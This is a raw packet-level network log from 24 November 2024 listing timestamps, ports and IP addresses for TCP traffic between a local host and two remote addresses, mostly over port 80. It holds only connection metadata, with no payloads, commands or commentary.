Nov 24, 2024 19:11:53.556991100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.557035923 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.557065010 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.557109118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.557967901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.558016062 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.558051109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.558094978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.558980942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.559026003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.559029102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.559139967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.559879065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.559920073 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.559981108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.560023069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.560915947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.560973883 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.561023951 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.561070919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.561742067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.561799049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.561820984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.561862946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.562653065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.562700987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.562722921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.562771082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.563683033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.563733101 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.563764095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.563848972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.564511061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.564554930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.564596891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.564678907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.565490007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.565601110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.565669060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.566433907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.566485882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.566485882 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.566668987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.567321062 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.567368031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.567395926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.567565918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.568352938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.568429947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.568440914 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.568552971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.569204092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.569356918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.569421053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.570131063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.570182085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.570192099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.570230961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.571100950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.571161985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.571192026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.571583033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.572037935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.572134972 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.572416067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.572962999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.573007107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.573016882 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.573055029 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.573936939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.573977947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.573982954 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.574198961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.574862957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.574922085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.574954987 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.575134039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.575890064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.575937986 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.575939894 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.575987101 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.576750994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.576796055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.576828003 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.576982021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.577697992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.577748060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.577807903 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.577949047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.578603029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.578656912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.578712940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.578768015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.579653025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.579780102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.579832077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.580528021 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.580630064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.580693007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.581412077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.581471920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.581506968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.581600904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.582413912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.582467079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.582495928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.582547903 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.583292961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.583355904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.583379984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.583415985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.589113951 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.589134932 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.589196920 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.589214087 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.589246988 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.589267015 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.595557928 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.595577002 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.595663071 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.595669985 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.595679045 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.595707893 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.602381945 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.602401018 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.602447987 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.602457047 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.602489948 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.609113932 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.609129906 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.609185934 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.609195948 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.614972115 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.614991903 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.615072966 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.615083933 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.622117996 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.622139931 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.622211933 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.622220993 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.623712063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.623756886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.623828888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.624247074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.624264956 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.624325991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.624959946 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.625014067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.625025988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.625067949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.625900030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.625953913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.625957012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.626019955 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.626801968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.626847982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.626902103 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.626950026 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.627788067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.627837896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.627866983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.628021955 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.628041029 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.628082991 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.628086090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.628093004 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.628118992 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.628674030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.628725052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.628782034 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.628869057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.629681110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.629731894 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.629796028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.629848003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.630532980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.630594969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.630647898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.630707026 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.631499052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.631546974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.631619930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.631688118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.632395983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.632446051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.634777069 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.634793043 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.634850025 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.634860039 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.675333023 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.681555033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.681610107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.681646109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.681787014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.681967020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.682029009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.682101965 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.682152987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.683119059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.683173895 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.683224916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.683284998 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.684159040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.684209108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.684242010 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.684355021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.684912920 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.684983015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.685008049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.685053110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.685791016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.685863972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.685890913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.685940027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.686678886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.686731100 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.686794043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.686846972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.687666893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.687705994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.687784910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.688599110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.688642979 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.688663960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.688724995 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.689529896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.689639091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.689646959 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.689753056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.690449953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.690557003 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.690608025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.691409111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.691504955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.691607952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.692320108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.692382097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.692404032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.692464113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.693238020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.693286896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.748704910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.748758078 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.748826027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.748873949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.749078035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.749130011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.749300957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.749367952 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.749428988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.750262976 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.750324965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.750354052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.750399113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.751271963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.751347065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.751349926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.751429081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.752160072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.752217054 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.752321005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.752401114 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.753130913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.753180027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.753304005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.753653049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.754012108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.754057884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.754062891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.754111052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.755012035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.755064964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.755182981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.755229950 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.755969048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.756028891 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.756036997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.756216049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.756802082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.756853104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.756906033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.756959915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.757932901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.757950068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.757992029 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.758698940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.758879900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.758886099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.758994102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.759793043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.759838104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.759984970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.760159016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.761029005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.761075020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.761168957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.761351109 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.761810064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.761878014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.761898994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.761940956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.762695074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.762743950 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.762761116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.762856007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.763355970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.763403893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.782461882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.782520056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.782526016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.782566071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.782857895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.782906055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.783068895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.783113956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.783170938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.783225060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.783991098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.784090042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.784177065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.784944057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.785037994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.785116911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.785917044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.785973072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.786009073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.786056995 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.786825895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.786865950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.786874056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.786998034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.787874937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.787916899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.788052082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.788126945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.788724899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.788773060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.788817883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.788860083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.789633036 CET	80	49750	185.215.113.206	192.168.2.8
